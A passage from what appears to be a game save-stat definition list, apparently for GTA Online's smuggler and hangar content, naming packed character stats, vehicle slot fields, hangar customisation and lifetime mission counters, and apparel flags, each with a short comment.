with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT211 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT212 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT213 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT214 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT215 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT216 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT217 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT218 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT219 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT220 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT221 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT222 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT223 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT224 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT225 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT226 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT227 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT228 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT229 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT230 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT231 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT232 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT233 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT234 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT235 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT236 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT237 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT238 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT239 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT240 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT241 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT242 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT243 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT244 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT245 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT246 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT247 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT248 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT249 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT250 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT251 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT252 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT253 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT254 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT255 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT256 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT257 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT258 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT259 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)DLCSMUGCHARPSTAT_INT260 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers + + + + +(int)MPSV_VEHICLE_BS_159 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_159 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_159 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_159 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_159 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_159 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_159 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_160 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_160 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_160 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_160 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_160 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_160 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_160 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_161 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_161 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_161 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_161 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_161 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_161 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_161 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_162 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_162 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_162 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_162 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_162 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_162 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_162 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_163 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_163 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_163 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_163 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_163 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_163 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_163 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_164 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_164 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_164 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_164 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_164 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_164 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_164 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_165 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_165 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_165 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_165 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_165 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_165 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_165 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_166 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_166 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_166 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_166 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_166 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_166 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_166 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_167 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_167 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_167 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_167 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_167 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_167 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_167 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_168 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_168 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_168 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_168 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_168 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_168 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_168 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_169 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_169 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_169 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_169 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_169 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_169 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_169 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_170 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_170 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_170 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_170 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_170 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_170 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_170 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_171 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_171 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_171 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_171 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_171 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_171 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_171 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_172 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_172 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_172 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_172 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_172 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_172 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_172 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_173 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_173 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_173 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_173 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_173 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_173 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_173 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_174 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_174 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_174 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_174 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_174 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_174 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_174 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_175 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_175 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_175 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_175 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_175 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_175 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_175 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_176 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_176 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_176 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_176 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_176 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_176 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_176 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_177 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_177 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_177 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_177 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_177 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_177 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_177 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_178 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_178 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_178 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_178 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_178 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_178 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_178 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_179 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_179 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_179 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_179 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_179 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_179 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased +(u64)MPSV_LP0_179 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_180 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_180 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_180 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_180 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_180 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_180 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_180 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_181 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_181 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_181 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_181 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_181 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_181 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_181 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_182 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_182 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_182 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_182 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_182 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_182 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_182 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_183 // Add MP0_ or MP1_ // Vehicle_157 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_183 // Add MP0_ or MP1_ // Vehicle_157 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_183 // Add MP0_ or MP1_ // Vehicle_157 premium paid by destroyer of vehicle +(int)MPSV_MODEL_183 // Add MP0_ or MP1_ // Vehicle_157 model enum of vehicle +(int)MPSV_FLAGS_183 // Add MP0_ or MP1_ // Vehicle_157 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_183 // Add MP0_ or MP1_ // Vehicle_157 cost of vehicle when purchased + +(u64)MPSV_LP0_183 // Add MP0_ or MP1_ // Vehicle_157 licence plate part 0 + + +(int)HANGAR_OWNED // Add MP0_ or MP1_ // Smuggler hangar owned +(int)HANGAR_CONTRABAND_TOTAL // Add MP0_ or MP1_ // Smuggler hangar contraband units owned +(int)HANGAR_CONTRABAND_MISSION // Add MP0_ or MP1_ // Smuggler hangar contraband mission +(int)HANGAR_FLOOR_DECAL // Add MP0_ or MP1_ // Smuggler hangar customisation +(int)HANGAR_COLOUR // Add MP0_ or MP1_ // Smuggler hangar customisation +(int)HANGAR_LIGHTING // Add MP0_ or MP1_ // Smuggler hangar customisation +(int)HANGAR_SAVEBED // Add MP0_ or MP1_ // Smuggler hangar customisation +(int)HANGAR_FURNITURE // Add MP0_ or MP1_ // Smuggler hangar customisation +(int)HANGAR_MODSHOP // Add MP0_ or MP1_ // Smuggler hangar customisation + +(int)PROP_HANGAR_VAR // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(int)PROP_HANGAR // Add MP0_ or MP1_ // Stores what other property player has purchased +_5 +(int)PROP_HANGAR_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +_5 + +(bool)PILOT_B_CONTROL // Add MP0_ or MP1_ // Control - Pilot/Passenger + +(int)LFETIME_HANGAR_BUY_UNDETAK // Add MP0_ or MP1_ // track lifetime buy mission progress for the hangar +(int)LFETIME_HANGAR_BUY_COMPLET // Add MP0_ or MP1_ // track lifetime buy mission progress for the hangar +(int)LFETIME_HANGAR_SEL_UNDETAK // Add MP0_ or MP1_ // track lifetime sell mission progress for the hangar +(int)LFETIME_HANGAR_SEL_COMPLET // Add MP0_ or MP1_ // track lifetime sell mission progress for the hangar + +(int)LFETIME_HANGAR_EARNINGS // Add MP0_ or MP1_ // track lifetime hangar earnings +(int)LFETIME_HANGAR_EARN_BONUS // Add MP0_ or MP1_ // track lifetime bonus hangar earnings + +(int)RIVAL_HANGAR_CRATES_STOLEN // Add MP0_ or MP1_ // track lifetime contraband stolen from rivals +(int)SMUGGLER_FLOW_NOTIFICATIONS // Add MP0_ or MP1_ // Smuggler Email count +(int)CHAR_FM_PIM_HIDE_MISC_1 // Add MP0_ or MP1_ // MP Char 0 - For hide show stats +(int)RESTRICT_HELP_MODES_2 // Add MP0_ or MP1_ // Restrict Help Text shown for Adv Series, Featured Adve Mode, Premium Races and Stunt Races +(int)MPPLY_CURR_TRAN_SERIES_HASH // Stunt Series Flow - Can we get a new block of help text we can turn on for when we add additional races to the Stunt Series + +(bool)COUNTERMEASURE_CONTROL // Add MP0_ or MP1_ // Control - Pilot/Passenger +(bool)MC_ENABLE_FLY_ASSIST // Add MP0_ or MP1_ // Control - Pilot/Passenger + +(int)DLC_APPAREL_ACQUIRED_124 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_125 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_126 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_127 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_128 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_129 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_130 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_131 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_132 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_133 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_134 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_135 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_136 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_137 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_138 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)DLC_APPAREL_USED_124 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_125 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_126 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_127 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_128 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_129 // Add MP0_ or MP1_ // Shop ped apparel save data 